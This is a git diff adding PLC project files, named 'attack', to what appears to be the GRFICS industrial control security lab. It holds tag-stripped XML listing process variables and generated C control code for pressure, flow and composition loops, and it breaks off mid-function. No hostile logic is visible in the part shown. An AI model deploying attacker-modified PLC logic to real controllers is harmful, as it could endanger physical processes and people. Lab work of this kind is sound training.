b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + 